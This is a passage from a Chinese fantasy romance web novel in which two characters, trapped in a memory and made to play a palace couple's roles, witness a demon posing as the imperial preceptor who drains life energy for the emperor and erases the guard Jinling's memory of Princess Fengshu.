说话间,祁不为蓦地发现自己上身光着……可他睡前明明套了寝衣。
这种状况和易辛一样,虽然她扭伤了脚踝,但第二日站在花信身前时,又完好无损。
无论他们做什么,到了需要他们的时候,他们便是“话本”里的模样。
祁不为语气里有些恹恹:“意思是,又有我们的戏份了?”
话音方落,门便被敲响了。
“杨烈,你可方便出来说话?”外头是金陵的声音。
两人对视一眼,祁不为正要下床,忽听身后道:“衣服!披件衣服!”
易辛顿住——这是芸娘说的,不是她……
他迅速披好衣服,还顺手挠了挠易辛下巴。
祁不为:“……”
易辛:“……”
祁不为想捂脸,这对中年夫妻究竟为何如此腻歪!
半晌,祁不为推门回来,天边月映出门后一道身影,金陵背身道:“芸姑姑,我日后便不在公主跟前当值了,换成杨烈,但若有要事,您可来寻我。”
易辛听见自己道了声好,没多言语。
得到答复,金陵道歉离开。
祁不为点上灯,问道:“他不是皇上钦点去保护花信的侍卫吗,为何换值?”
易辛三言两语把事情说了:“……他知道花信的心思了。”
祁不为闷了口茶,神色恹恹:“玉瓶装的记忆,就是这些‘你爱我,我爱她’的儿女情思么?”
易辛听出他的阴阳怪气,为戏中人说话:“旁人看着或许平常无聊,但他们伤心难过,并不是假的。花信近段时日,肉眼可见地瘦了……”
金陵罚跪的第二日,风疏便来了,认真同花信道歉,有事不该瞒她。
冲动罚过金陵后,花信似知道这样不对,看着是打算收拾心情,顺着风疏的话茬“发泄”一通,再言归于好。
可如同镜子破碎,再黏合起来仍有痕迹。
破镜难重圆,花信勉强自己同风疏谈天说地,结果便是两人越来越不对劲。花信没有真正放下,勉强自己,便不快乐。而风疏察觉到她的勉强,再回想近几日没在此处见着金陵,多思一重,便什么也清楚了。
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她难以面对风疏,风疏顺着她的心意,便不出现。但越是如此,花信越是难过,金陵不会再回来了,连风疏也留不住。明明从前,三人那般好。
听完这些,祁不为仍旧感触不大,随意说了两句:“爱而不得,以泪洗面。”
易辛不由得小声嘀咕:“冷血……明明你自己也爱而不得……”
“你说什么?”
“公子心绪平稳,不为外界所扰,真是豁达!”易辛信口拈来。
“爱而不得的只有我?你不是吗?”祁不为反唇相讥。
但脱口而出后,他便有些后悔,为何要谈这些东西。
祁不为心底十分不自在,清清嗓子试图转移话题,视线一偏,却见易辛笑了笑。
她似乎才是真的豁达,脸上浮现温和的笑容,坦荡又认真道:“说来我应当对公子说一声抱歉。我确实对你心生欢喜。”
祁不为斜睨她一眼,不自在中莫名有些紧张,僵着身子。
易辛继续道:“我明白公子对我无意,我这样也属实给你带去困扰。”
她顿了顿,对祁不为笑笑:“我自幼长在山庄,除了山下镇子,几乎没去过其他地方。待离开归墟境回到山庄后,我便会下山离去,去外面见识天地,增长见闻。”
“我不在山庄里,公子也可眼不见为净。时日一长,我也会慢慢忘记你。”
易辛一番话说得很平和,娓娓道来。
这是她目前的打算,也有一点私心——她试图缓和二人之间的关系。祁不为知道她日后会离开不作纠缠,对她的恨意或许会少一些,她希望,起码不要在归墟境里对她下手。而她离他远远的,也是为了避免危险。
话毕,只见祁不为似乎有些愣住,须臾眉头一压,异常笃定道:“你才不会下山,你会一直留在山庄里。”
起码在他死之前,易辛一直没走。
易辛知道他是凭着前世记忆如此笃定,温和一笑:“人是会变的,曾经留恋不想下山,日后就说不定啦。”
话说多了,她替自己斟了杯茶,浅呷了一口,苦得她微微皱起眉头,但她还是喝了半杯。
祁不为让易辛的话晃了神。
会变的。
其实自重生起,很多事已经变了。从前,他不知山下有只爱慕祁有为的水鬼;白毫狼伤过院里一名侍女后,很快被祁有为降伏,根本没有归墟境之事,更别提又入了他人之梦忆。
连他和易辛的交集也阴差阳错多了起来……也许,易辛这一世,真的会下山离去?他曾明目张胆提剑杀她,或许她心中怕他,渐渐没了情意便下山了?
见祁不为垂首沉默,易辛不自觉紧张起来,怕他又憋着什么坏主意对付自己,遂开口问道:“公子寻到点日了吗?”
祁不为回神,摇头:“没有。”
“我这边也没看到,或许他没有卷入这场梦境。”
两人来了许多时日,整个宫中都看了,点日要么真没来,要么在宫外。
祁不为沉吟片刻,起了随遇而安的心思:“算了,安生呆着,该回去的时候,总会回去。”
易辛宽慰两句:“公子说得有理,总会出去的。若无事,我便先回去了。”
说罢,她撤身离开,希望不要再半夜醒来便躺在别人床上了……
屋内只剩祁不为,气氛寂静,了无睡意,念头不知不觉又落在易辛身上。
清风山下,那水鬼只差一步便可见到祁有为,易辛分明怕他,却对他的死十分怅惘;花信与金陵作伴逾十年,但无疾而终……不知是否错觉,易辛每每遇见这些“爱而不得”,总比寻常人的叹惋唏嘘更多一重悲伤。
思忖间,他目光落在易辛喝过的茶杯上,脑中忽然闪过小镇上他请易辛吃饭时的场景。彼时易辛吃东西,也是微微蹙眉。
一阵说不清道不明的冲动支配着他,他端起易辛的茶杯,闻不出什么,又沾湿指尖送入口中。
眉头顿时纠结起来,他忙不迭拿起自己先前倒好的的茶猛灌,终于压下那苦不堪言的味道。
茶具为一整套,两人同从壶里倒水,他的味道如常,易辛那杯——与金玉楼时她斟出的茶一模一样!
14. 第十四章
花信无精打采,身旁话本高高堆起,面前瓜果甘甜,无论何种,一律味同嚼蜡。
易辛适时安慰她,捻起一颗酸梅喂到嘴边,说道:“大家分开静静也好,过段时日,又能和风疏公主玩作一处了。”
花信出神地嚼着酸梅,看得易辛内心极度复杂,但碍于“话本”,只能神色如常地做着“此时应当做的事”。
易辛一面庆幸花信不会质问她为什么东西如此苦,一面荒唐惊悚,花信尝到苦味了吗?是否会觉得很苦很想吐很想质问,却只能听见自己嘴里吐出别的话?
按捺住纷杂思绪,易辛叫自己不要多想,只见花信咽下酸梅,再伏到她怀里:“芸娘……他们为什么要在一起?我想和风疏像从前一样,但我做不到……我也不能……让他们两个分开……”
花信声音带了哭腔:“我太坏了……我为何喜欢金陵啊……”
易辛摸摸她的脊背:“男女之事,人之常情。公主日后会遇见更喜欢的人。”
“他们会不会怪我?”花信哽咽道,“我把事情搞砸了……”
可好像也没有更好的办法。金陵很早便做出了决定,从她身旁离开。风疏顺从她的意思不再出现,于是成了今日之结局。只剩下花信,不知何日能迈过这道坎。
然而,转折来得很快。
夜里,易辛正要把衣物放入箱柜中,才走几步,忽然陷入一片黑暗。
这一下来得毫无预兆,视野里顿时黑得伸手不见五指,她狠狠抖了个激灵。
恐慌忽然在体内炸开,膝盖发软,指尖控制不出地颤抖起来。
“蜡烛……掌灯……掌灯……”易辛失措地喊道,黑暗中,她下意识渴望光亮,瞎子般向四周摸索着。
祁不为原本正仰躺在塌上发呆,屋内蓦地一黑,他倒没什么反应,耳边却忽然听见易辛慌张的声音。
他坐起身。这间屋子背光,一旦熄灭烛火,就黑得几乎看不见。但不论是修道之人还是习武之人,他或杨烈的眼睛都比易辛要强。
昏暗中,虽看不清易辛神色,但从那慌乱的步伐和双手中,她的恐惧还是可见一斑。
祁不为微微歪头。
真稀奇,他从前怎么没发现易辛如此怕黑。
祁不为盯着脚步错乱的易辛,在她快要撞上桌角时出声道:“别动。”
“再往前,就要撞上了。”他补完后半句。
“祁不为?”易辛猛地抖了一下,听出了祁不为的声音,心中缓解大半,理智也回笼些许。
她确实怕黑,但怕的是那种完全的漆黑。若昏暗中有光亮,她是不怕的。只是这间屋子太暗,而且黑得太突然,她就吓着了。
祁不为眉梢一扬,她似乎没意识到自己直呼其名了。
易辛侧身,朝向声音来处,手上还是禁不住摸索着空气。她想让祁不为点个灯,昏暗中,却忽然摸到了一只骨感分明的手。
她一面要道歉一面想收回自己的手,却忽然被攥住了手腕,整个人向前轻轻一拽,跌入了温暖宽厚的怀抱。
祁不为抱住了易辛。
易辛整个人都惊呆了,一颗心在胸膛里胡蹦乱跳。紧接着,她听见了祁不为的声音。
“我们成婚吧。”
易辛脸上的表情已经无法用语言来形容,恍惚中,觉得自己是不是中了妖精的幻术。她呼吸很乱,还有些喘不上气来。
这是她的错觉?
祁不为被下降头了?
但心乱如麻间,易辛还是很快理出了线头——他们在“走戏”。
果然,下一瞬她就不由自主道:“我一把年纪了,成什么婚。在宫中,这样搭伙过日子挺好,待你立业出宫,自去好好寻个媳妇儿。”
证实了猜测,易辛还是觉得手脚发麻,心里好像松了口气,又隐隐不适,仿佛还有更隐秘的东西横亘在深处。
祁不为原本只想去点个灯,不料中途身体不受控制,竟忽然抱住了易辛。
刹那间,率先浮上心头的竟是一股莫名的悸动。易辛身子单薄,抱住她,就好像抱住了全部,满足感溢上心头。
第二个念头,竟是心酸。好像这份“全部”实在瘦弱,轻易就能摧折,偏偏又挺拔了许久。
意识到这一点后,祁不为真是莫名其妙,身心不受控制,仿佛他体内住了另一个人似的。
最后,他才想起要推开易辛,但他做不到。因为实际上拥抱在一起的是芸娘和杨烈。紧接着,他就说出了那句惊世骇俗的话。
——我们成婚吧。
他好像被吓到了,耳边满是擂鼓般的心跳……蓦地,他眸光一凛,门外有妖气!
走戏时,祁不为动弹不得,只能说道:“不必出宫,我在宫里已经寻好了,就是你。你比我大几岁又如何,会照顾人啊。当然,我更想好好疼你护你。”
“我不懂照顾男人,只会疼儿子,你想当我儿子?”
“说话还是这么毒。不过幸好,我习惯了。我总能等到你愿意的。”
祁不为无心管二人纠缠,嘴上自行说着话,目光却四处逡巡。屋内妖气变重了,难道他们会发生不测?脑中方有念头,便眼尖地发现有二缕气自两人身上缓缓拉出,余光里,那两抹气息交缠着逸出门外。
“谁!”许是将士出身,杨烈拥有敏锐的直觉,终于发觉异常,支配着祁不为扯了件外衣,追出门去。
夜色中,两缕纠缠的气息掠过重重殿宇,直向浩然殿——皇帝寝宫。
祁不为直奔金陵屋子,道出方才所见。
“飞在空中?”金陵拧紧眉头。
祁不为:“那种感觉,不那么周正纯净……有点邪?”
“你是说……有妖物混入宫中?”金陵匆匆换好衣服,“我现在去浩然殿!”
他负责宫中巡防,自有殿前当差之时,前去一看,不算突兀。
杨烈不能随意靠近,只得折回屋内,向芸娘简单说过一番,二人静候。
良久,金陵回来,杨烈与芸娘已候在廊下。三人屋外说话。
“如何?”芸娘问道。
“确有妖物飞向浩然殿,被国师就地正法了。”金陵说道。
“国师?”杨烈重复,“就是前段时日向皇上展现神通,而后被封为国师的道人?”
金陵点头:“国师正帮皇上行长生之法,恰遇妖物侵扰,于是出手结果了它。”
自古帝王求长生,并不罕见,但没见谁真正长生了。
众人对皇帝不敢置喙,插曲过后,便回屋休息。
一方戏走完,屋内便剩易辛和祁不为。
烛光摇曳,灯火通明。易辛趁势发现了更多细节,床塌凌乱,屋内气息暧昧。显而易见这间屋子之前发生了什么。
易辛忽然至此,或许是芸娘下榻点灯。
两人不约而同地对屋中景象置若罔闻,谁也没多看一眼,皆在桌边端正坐下,连方才的亲密拥抱也没提,商谈起了正事。
易辛先问道:“公子看清那是何种妖物了吗?”
祁不为:“像合欢妖,吸纳阴阳调和之气,增长修为。”
它是被杨烈和芸娘吸引而来的。
闻言,易辛明了,又问:“那这两具身体会受损吗?”
“一次无碍,但长此以往吸取人之精气,必然不行。”
易辛慢慢拧起眉头,这事……应当没有结束。杨烈芸娘二人,显然不是玉瓶记忆中的主要角色,经他们走过的戏,定然是某种信号提示。
她心中隐有不安。
距离妖邪之事过去一月后,某日,易辛从花信处得知,皇帝病了。
花信为此忧心不已,易辛刚想出言安慰,忽然发现自己无法开口——芸娘出现了。
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她面有异色,眉目沉思,迟疑几许后,终于将那日的事情全盘托出,并附上自己的猜测:“……难道那妖物逃过一劫,最后伤了皇上?”
花信大吃一惊:“你怎么不早些说?不行,我现在去看看父皇。”
“公主!”易辛急急叫住花信,“夜已深,皇上想必歇下了,明日再去吧。”
无法,花信只能听话乖乖睡下。
易辛重又掌控身体,披着夜色匆匆去寻祁不为,敲开门后,她开门见山道:“公子,花信知晓妖邪之事了!那妖物没死对不对?它会如何害人?”
祁不为凝她几瞬,近乎淡漠:“易辛,你在回忆里,所有事情已经发生过了。”
答非所问,但易辛却明白了祁不为的意思,心里又闷又堵。
望着她一瞬间失意的面容,祁不为又开口道:“先进来吧。”
他于桌后坐下,随意道:“柜子里有碟糕点,端出来吧,边吃边聊。”
易辛心中有事,没有多想,依他所言将糕点放在桌上。
“那日匆匆一瞥,妖物应当是合欢妖,利用阴阳调和之气来增长修为。”
祁不为话没说全,但易辛豁然,那日引来妖物的是杨烈和芸娘,它取走了二人行房后的精气。
“那日过后,我便去了浩然殿,四周转过一圈,妖气不散。国师没有降伏它。”
“它制服了国师?”易辛惊道。
祁不为摇头:“它就是国师。”
易辛震惊:“它……想害死皇帝?”
“不一定,也许是想借机操控皇帝,也许确实想杀了他。”
易辛不解:“可皇帝只是凡人,不懂术法。妖魔想杀他,不是易如反掌?为何还要化身国师慢慢行动?”
“帝王无论在哪里,都是特殊的。他有龙气护体,神仙、妖怪都轻易奈何不了他。”祁不为解释道,伸手拿了一块糕点,入口苦不堪言。
易辛正沉思着,极力想知道妖物会如何影响花信,没注意祁不为望向自己的眼神,意味深长。
祁不为放下糕点,又道:“我还发现一件事。”
“什么?”
“金陵倒是个修道成仙的材料。事发后,他一直在浩然殿巡值,并且时常觉得不舒服,总觉得殿里有东西。想必是合欢妖的气场影响了他。”祁不为挑眉,“一介凡人,对妖物如此敏感,他很有天赋。”
祁不为很少赞扬谁,对金陵有此评价,想来他确乎天赋异禀,但易辛直觉于此刻而言,这不算好事。她刚想开口,目光蓦地顿住——她刚刚拿了吃食,祁不为吃了一口,却毫无反应。
浩然殿。
轮到金陵夜值,不知为何,今日靠近这里,比以往更难受,心口乱跳,气息亦有些紊乱。
他覆住手腕,腕上一串佛珠,是风疏祈福求来的。
贴住它,金陵才略感舒适,闭目稳住呼吸。
忽然,一道极细微的声响从殿里传来。
他走向门口:“皇上,有何事吩咐?”
“我正替皇上求问长生道,殿外勿扰。没有吩咐,谁也不准进来。”国师说道,声音稳重。
金陵拧眉,很不希望国师靠近皇上,但无人敢阻皇帝求长生,况且国师一番神通,朝堂上下,不说全部信服,至少大半信了。
他只能忍住不虞,可渐渐地,皇帝的声音越来越大,似有些痛苦。
金陵又去三请四问,全部被国师驳回,期间甚至得了皇帝训斥。
殿外噤若寒蝉,众人心中都想叫金陵别多管闲事。若真出了事,也不是他们害的,可若惹恼了皇帝,就要人头落地。
金陵掌心握紧刀柄,四下望去,阴云蔽月,黑暗仿佛吞没了重重殿宇,唯余模糊轮廓,像被吃掉的人,只剩一副白骨。
他蓦地松了刀柄,召来身旁侍卫:“去请花信公主。”
15. 第十五章
花信本就睡不好,听闻金陵差人传信,立马奔去浩然殿。
夜色如墨,浓得化不开,两盏宫灯幽幽如鬼火。
终至殿前,花信和金陵隔了长阶相望,再彼此走近,都忽略了从前的儿女情长。
金陵开门见山,对花信低语:“国师也许有异。长生之术怕是妖道,才让皇上近日卧病在床。现下国师不让人靠近寝殿,皇上听信。所以,请公主借探病之言,打开殿门。”
侍卫强闯,是大忌,但皇帝宠爱花信,让花信动之以情,说不定能唤回皇上一二分神智,这是金陵的打算。
花信走到殿门前,按捺紧张:“父皇,我方才做了个梦。梦见您对人间功德无量,飞升成神了。半夜醒来,我觉得特别开心,但仔细一想,待您飞升,便要斩断尘缘不能来人间,我们便见不到您了,吓得我赶紧跑来这里见父皇一面。父皇,我可以进去吗?”
金陵赞赏地看花信一眼,这番话可谓无懈可击。
“公主,梦乃预示,看来皇上问道将成,此刻至关重要,还请公主明日再来。”国师回绝。
睁眼说瞎话!连她听了都觉得是个江湖骗子!
花信只好再道:“国师也在?父皇近日病了,您为何要还让他操劳?等痊愈了再行问道吧!”
“病体求道,更显虔诚,上界仙神必会动容。公主,臣知您一片孝心,但大事当前,还望公主体恤。”
花信眉头蹙了蹙,软了语调,有些委屈似的:“父皇,您要求道求长生,我们为人子女的,自然希望您好。待您成仙后,可别忘了您有个很疼爱的女儿,您还说过,她做任何事,您都不会生气呢。”
这时,皇帝终于开口,声色压抑着苦痛,溢出疼爱怜惜之意:“自然记得,朕……最爱小女花信。你且好好休息……明日我们,再聚。”
“好,父皇,明日见。”花信笑道,对殿门行礼告退,转身离开。
金陵想说些什么,但触及花信的目光,忽然顿住。
只见花信走了几步,神色难得冷峻,而后猛转身,大力推开殿门。
国师以为花信已经离开,一时不防,殿内情景便大剌剌地呈现在她眼前。
花信和金陵趁机紧走几步,入了大殿,愣在原地。
皇帝躺在塌上,国师立于身前,一尊不大的金像悬浮在空中——莲台上,两具人像对坐,交叠缠裹。
就在殿门左侧,帷幔覆住一方睡塌。
其间不断传来撞击之声,靡靡之音似被施了禁制,众人听不见,但见起伏身姿,可知帷幔下究竟在做什么。
花信惊得一时忘了羞恼、非礼勿视等等,帷幔下钩出丝丝缕缕之气,连接金像,又传输至另一侧,渗入皇帝眉心。
“你、你!……妖道!”花信大怒,手指发颤,指着国师,“来人!”
金陵瞬间拔刀。门外侍卫听见花信呼唤,纷纷上前,只还没看清什么,殿门怦然合上,而自己瞬间动弹不得。
大门关上,花信激得抖了一下,金陵挡在她身前,低言:“后退。”
话落,忽闻皇帝震怒:“放肆!你们敢扰国师施法!误朕求道!”
他似是怒极了,激动地坐起身,金像倒是仍旧给他传送阴阳之息。
花信不可置信,一指侧方耸动的人影:“父皇!哪个正经道士会让您这样修长生之法!他是个大骗子!”
国师甩了甩拂拂尘,笑道:“公主,您有所不知。阴阳调和,才能育人,既能育人,便有再生之效。男女之精气,必然延年益寿。”
花信:“你采他人之精气,伤他人根本,这种方法有违天道!更加证明你是个妖怪!”
说罢,花信急急转向皇帝:“父皇,您不要被他蒙骗了!”
“花信,”皇帝似有怒意,“朕的身子如何,自然知晓。此法大有裨益!何况牺牲数人,延长朕的性命,有何不可!”
国师附和:“皇上的命,比余人金贵千百倍!”
花信瞪大眼睛。
金陵握紧刀柄,忽然后悔叫来花信。
就在这时,金像忽然断了联系,猛然下坠,国师眼疾手快接住,而后面有惋惜,沉痛道:“皇上,施法中断,近日的努力,前功尽弃了,只得从头再来,您分明……只差一点了。”
“你——!”花信气急,而皇帝比她更为勃然大怒,将枕边茶杯砸向金陵。
金陵不避,额角淌下几缕血,跪地伏罪。
“金陵!”花信惊呼,又急又怒,“父皇!”
“方才你便三番五次打扰朕,公主远在后宫,何况夜色已深,定然是你使人把她召来!”皇帝怒气上头,快走几步,抬脚去踹金陵。
花信神色惊变,想也不想便护住金陵,可金陵又一转身,挡住她,挨了皇帝结结实实一脚,闷声不语。
“把公主拉走!”皇帝下令,国师将花信拖走。
“你放开我!妖道!不准碰我!”花信尖叫,一面骂人一面害怕他们对金陵如何,最后还是被拉至一旁。
“父皇!不怪他!是我自己来的!我知道您病了,便让他时刻注意浩然殿的动静,有事及时禀告我!”花信拼命挣扎着,那国师明明瘦弱,捏住她手臂的力气却大得惊人,她越动,桎梏越强,衣物之下,肌肤已红了道道圈痕。
“来人!将金陵拖下去,斩了!”皇帝冷酷道。
金陵一愣。
花信霎时间疯了:“父皇,不要杀他,不能杀他!父皇!我求求你……父皇放了他吧……都是儿臣的错!儿臣知错了!”
她终于挣脱出来,踉跄着扑向金陵,眼泪甩了出去,蓦地梨花带雨。她满脸惊惶地挡在金陵身前,似怕皇帝怒火难消,砰砰磕起头来。
“公主……”金陵想扶起她,却觉她像水中游鱼,根本抓不住。
“你……”皇帝难言地望着花信,“他心里根本没你!你何苦为他低头!”
此话一出,众人皆惊。
花信顿住,呆呆地看着自己的父亲。
皇帝冷哼一声:“你张口闭口就是他,朕明白很难吗?他又和风疏走得亲近,宫中何事能瞒过朕的耳目!他根本不值得你求情!你是公主,千金之躯!想要什么得不到!”
花信落下泪来,眸光却异常坚定:“既然父皇明白我的心意,就更不能杀他了!”
皇帝静默片刻,转向金陵:“我放你去战场,建功立业,有所成后,迎娶公主。”
花信虽然错愕,但明白此事有转圜余地,不禁松了口气,转向金陵,望他先应下保命,以后如何再谈。
可金陵谁也不看,只跪下谢恩谢罪:“……臣心有所属,没资格迎娶公主。”
花信赶在皇帝前头发作,抬手打了金陵一拳:“我堂堂公主,娶我已是高攀,你还敢驳斥!我要你忘了风疏!”
金陵对上花信的目光,那双眸子里既有怒意又有祈求,气他不懂变通,又祈求他别和皇帝对着干。
论看人,比起花信,金陵算是局外人,他看皇帝更全面,皇帝不会放过他,也不愿他娶花信,只是想让花信彻底死心。
“那
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还留着你何用?杀了。”果不其然,皇帝下令道。
花信眼泪夺眶而出,还欲再求情,却被金陵拉住手臂,缓缓摇头。
忽然,国师发话了:“皇上,臣有一法,可全公主情意,亦能让金陵侍卫把今日之事当作从未发生。”
两人齐齐望向国师,花信眼中带恨,金陵面色严峻。
国师置若罔闻,对皇帝笑道:“臣机缘巧合下得了一碗孟婆汤,施法可让金陵忘了风疏,也忘了今晚之事。待他和公主日久相处,必能生情。”
花信和金陵脸色一变。
金陵:“妖道!你出的什么阴毒主意!”
皇帝没有反驳,便是应下。
国师又笑着转向花信:“公主,您来决定吧,是要处死他,还是杀了他脑中的风疏,留他一命,还能做你未来夫婿。”
花信慌了一瞬,但很快镇定下来,她自然还是要保住金陵性命,可等他无恙后,再道来前因后果。再过一两月,便是风疏质子期满之时,让她带着金陵远走高飞!
花信刚要开口,国师抬手,笑道:“我知道公主心里打什么主意,但劝您最好不要。皇上一心为您,不可能让风疏带走他。若他知晓真相,又要与爱人山海相隔,会是多么难过?您想看到这一幕吗?无知者,最幸福。”
“妖孽!我咒你不得好死!”花信怒而起身,揪住国师衣襟,还没发泄一通怒火恨意,只得他轻飘飘一句:
“公主选吧。”
花信松手,怔怔后退两步,只觉浑身发冷,抱住脑袋不停摇头:“我……我不选!不、我不做这个决定!”
可她心底却有个声音——不能让他死,就只能让他忘记风疏。
这时,金陵说道:“皇上,臣斗胆,让臣替公主选。”
花信猛然望向金陵,心都吊起来了,后者却沉着冷静。
他难道……打算赴死么?!
“臣想活着。”
下房。
易辛心头紧着一口气,佯装平和:“是么?公子觉得金陵有天赋,难不成他日后真去修仙了?”
说罢,她状似随意地拿来糕点,咬了一口,随意嚼几下,而后面目一皱:“这糕点……坏了吧?”
祁不为点头,手一松,糕点掉在桌上,他拍了拍手,又道:“妖怪害人,有很多方式,但我想这合欢妖应该是让金陵忘了风疏。”
易辛吃惊:“为何?国师为什么要这样做?”
“戏弄人,他们会觉得很有意思,”祁不为继续道,“被卷入玉瓶记忆前,我去茶楼听了戏,这戏每年都排,自然有人知晓后续。金陵登场时,我听旁人提了一嘴,说他日后在死亡和活命但忘记爱人之间,选择了活命。起初我不知道两者有何关联,但出现了妖怪,约莫懂了。”
易辛怔住,蓦地想起花信看过的话本——夫婿上京赶考,功成名就,回乡时却因为意外失忆,忘了家中苦等的妻子。
祁不为挑了挑眉,摩挲杯口边缘:“他选活命,我倒有些惊讶,话本里痴情男女,总是要死要活。不过,毕竟是活生生的人,不是唱戏。”
易辛脑中闪过一道光:“不是这样的。”
她把花信之前看过的话本说与祁不为,再道:“风疏虽让花信换个本子看,但她其实点评过一句。”
“就算记忆没了,若爱一个人,身体也该记得。”
祁不为摩挲杯沿的手顿住,眼睛仿佛扎了根刺,茶面晃晃悠悠,荡出一道画面——他似乎躺在易辛怀里,她正崩溃大哭,哭得好像天塌了似的……
16. 第十六章
祁不为眉头一拧,骤然间抬手,把茶水倒了。
易辛不解地望着他。
“落了只飞虫。”祁不为随口乱说,脑中却有些乱,这又是何时的事……
奈何易辛没有上辈子的记忆,他也问不来。但这一世的易辛,同样疑点重重。
“蛟妖来的那一晚,你为何半夜三更外出?”
果然,他起疑心了。易辛坦诚道:“睡不着,想去皇宫那里转一转。”
易辛继续道:“他们说找到女帝,便可以出去。应是皇宫守卫森严,难以进出,便想去看看究竟什么模样。”
祁不为凝视易辛。她没有修为,不懂术法,在归墟这种地方,就像初生的婴孩。因为不能轻易离开而焦虑,半夜三更出去转悠,也算正常。
祁不为再问:“你可和点日交换过记忆?”
易辛略一迟疑,还是点头。
祁不为眸光变深,易辛记忆必然有异,点日弄虚作假,便是想打消他探究的心。
“你为何不说?”
易辛开始胡诌:“那日公子昏迷,我非常焦急,后来点日便来庙里,说可用聚魂灯救你,但要交换记忆。那时我并不知道公子已经换过,但想想,我的记忆乏善可陈,他想看便看吧,所以也没有追究必要了。多一事不如少一事,便没有再提了。”
祁不为:“……你可真是心大,不怕他拿你记忆作祟?”
易辛很是无奈:“情急之下,我也没办法了。你昏迷不醒的……”
她适时停顿,继续道:“至于以后点日要如何,那便等以后再说罢。现今许多眼前事还没解决……”
两人还在他人记忆里,离开了这里也只是回到归墟。如何离开归墟,也是个棘手的事。
经她这么一说,祁不为也没继续深究,换了个问题:“我们小时候见过?”
易辛点点头,平静道:“幼时我父母双亡,正好遇见了你下山游历,前庄主夫妇便把我带了回去。长大后,同在山庄里,也偶尔见过。”
祁不为盯着易辛,后者坦诚,不似作假,那点日为何藏起她的记忆?她有何特别之处?
易辛面上安静,心口却砰砰跳,暗中责怪点日没收好她的玉瓶,让祁不为瞧见了。他必然还没看过,否则不会像现在这般平和。
但这一关……大约算是过了吧。
正庆幸着,祁不为推来茶杯,茶壶就在她手边,意思再明显不过。
“口渴。”祁不为言简意赅。
易辛垂眸望着茶杯,余光里,祁不为手指轻轻叩着桌面。
不用过多思考,她便明白,祁不为已经发现她的异样。
心不由自主地悬起来,但转瞬之间,她做了决定——坦诚,顺其自然,再把问题抛给对方。
“公子……实不相瞒,我得了一种怪病。经过我手的吃食,都会变苦……”
说罢,为了证实似的,她替祁不为斟了杯茶,送至他面前。
“公子见多识广,可知这是为何。难道我中了邪?或是不知不觉就被妖怪施了法?”易辛满脸不解。
祁不为默了片刻,问道:“什么时候开始的?”
“……浣衣坊,公子余毒发作,我掉入水井那日。”
对于这番作答,易辛考量过。如果说自小,一旦向浣衣坊求证,拆穿简直轻而易举。她们日日同吃同住,她何时没有胃口,一问便知。所以只能说重生之日。
祁不为怔住,是他重生那日!
上辈子易辛侍立在旁,他知道她没得这种怪病,为何今生不一样?
他思量一番,低声道:“倒还真像是受了咒术?”
易辛立即追问:“谁咒我?我平日也没得罪何人……”
“我怎么知道你和谁有过节。”
祁不为回答得很快,但脑中却浮现一个人选——他自己。
难道是当日他过于仇恨,不自知的情况下让易辛得了此种怪病?
做戏做全套,易辛神色担忧问道:“那我会有性命危险么?”
祁不为略一摇头:“你要有事,早该发作了。”
“不过,”他想起一事,“吃食都这么苦,你怎么吃得下去?”
“……别人喂就不会,”易辛顿了顿,似乎有些窘迫,“但也在慢慢习惯,偶尔让别人喂几口……”
祁不为似是想到喂食的画面,有些好笑,调侃道:“你呆在这里也不错。不会饿死。”
因为一有她的戏份,先前无论受了伤还是如何,都会恢复到角色应有的状态。
“噢……”易辛应了一声。
祁不为心头微动,掀起眼皮看了眼易辛。只见她面色平平,但祁不为就是觉得那眼角眉梢都挂着小小的委屈和恹恹。毕竟,她很喜欢吃东西。
见无事再谈,易辛起身告辞:“公子,那我不打扰你休息了。”
看她打算离开,祁不为说了句:“你怎么每次都急匆匆地想走。”
易辛顿住脚步,本能地在心里回答了对方……因为和你保持距离比较安全。
但这句话不能说,她望向祁不为:“公子还有何事吗?”
祁不为起了身,从橱柜里拿出另一碟点心,抬手拿起一块,放在她嘴边。
“吃吧。你爹娘在天之灵,自然不想看你吃东西这么受苦。”
寝殿里,易辛对着一碟点心久久发呆,直到花信哭着扑进她怀里时,她明白过来,只一夜时间,事情已经发展成祁不为所言的那般。
“芸娘……”花信呜呜哭着,想把事情从头到尾说出口,“国师他……父皇……想杀掉金陵,父皇知道我喜欢金陵了……他们要我选,金陵如果不死,就必须……忘掉风疏,然后……他们真的使了手段!”
花信从易辛怀里退出,不可置信地捂住自己嘴巴,发现自己似乎被施了禁制,无论如何也说不出“国师是妖怪”。
一番话囫囵又模糊,最后还想急急说些什么,却像个哑巴似的只能对易辛打手势。
她一颗心沉入谷底,国师必然也对自己做了什么,才让她有口不能言。
易辛对此心知肚明,蓦地,余光里发现一个人。
花信注意到她神色有异,转头去看,风疏正站在门口。
她们二人,已经一段时日未见了,风疏手中正拿着一本话本。那是花信寻找已久的,也是金陵替风疏寻来的。
过几日便是花信生辰,到时宫中热闹无比,她的身份,自然不好参加这种宴席,便提前来送贺礼,却听见这番话。
“风疏……”花信嚅嗫着,脸颊还挂着泪痕。
“他忘记我了?”
“……风疏,对不起、对不起……我……”
花信还要说话,风疏却像回不过神也不想面对似的转身离去。
花信追了几步,再抱着头慢慢蹲下,哭道:“我搞砸了……我又把事情搞砸了……”
“风疏会恨我吧……她一定恨死我了……芸娘,我该怎么办?”
月升日落,金陵
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和祁不为分头,各自回房,转过一处小巷,他顿住脚步,温声道:“出来吧,跟了一路。”
他转过身,月色下,缓缓步出一位女子,端方沉静。
“风疏公主?”金陵脑中闪过吉光片羽。
风疏神色微变,抬步上前,抓住他一只手腕,掌心下一串佛珠。
“你记得我?”
金陵拧眉,将手抽出,后退几步同她拉开些距离:“我是花信公主身旁的侍卫,你和她是朋友,我自然记得你。”
风疏心头微冷,短短几息,便弄清了境况——他俩的事,除去偶然发现的花信,便没告诉任何人。金陵显而易见忘记了她,只记得她是梁国质子。如此一来,对于金陵失忆一事,旁人根本不会起疑。
金陵不知她来何事,但深夜相会,显然不合适。
“公主,夜深了,您快回去吧。属下已下值,也要歇息了。”
风疏望着他,眸光晦暗不明,再猛地上前一步,抬手朝向他肩膀。
金陵眼神一凛,瞬间钳住她的手腕:“公主,属下不知怎么得罪您了,您想杀我?”
他以为自己是想掐住他的脖子?
风疏忽地想笑。
花信难过了一整日,易辛好不容易将她哄睡,谁知夜里宫人来报。
“芸姑姑,风疏公主和金陵侍卫求见。”
此话一出,花信立即醒来,心头惴惴。
花信和易辛一来正堂,金陵便开门见山:“公主,今夜风疏公主尾随下属一路,不知为何。”
闻言,花信赶紧摒退左右,只留下芸娘。
余人退下,金陵又道出第二句:“下属劝她回去,她却忽然对我出手。”
